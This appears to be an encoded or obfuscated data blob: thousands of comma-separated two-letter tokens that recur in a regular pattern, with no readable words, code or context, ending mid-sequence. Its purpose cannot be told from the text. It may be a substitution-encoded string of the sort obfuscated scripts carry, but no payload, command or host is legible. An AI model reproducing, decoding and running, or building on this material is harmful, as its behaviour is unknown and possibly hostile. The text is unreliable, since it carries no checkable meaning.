kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,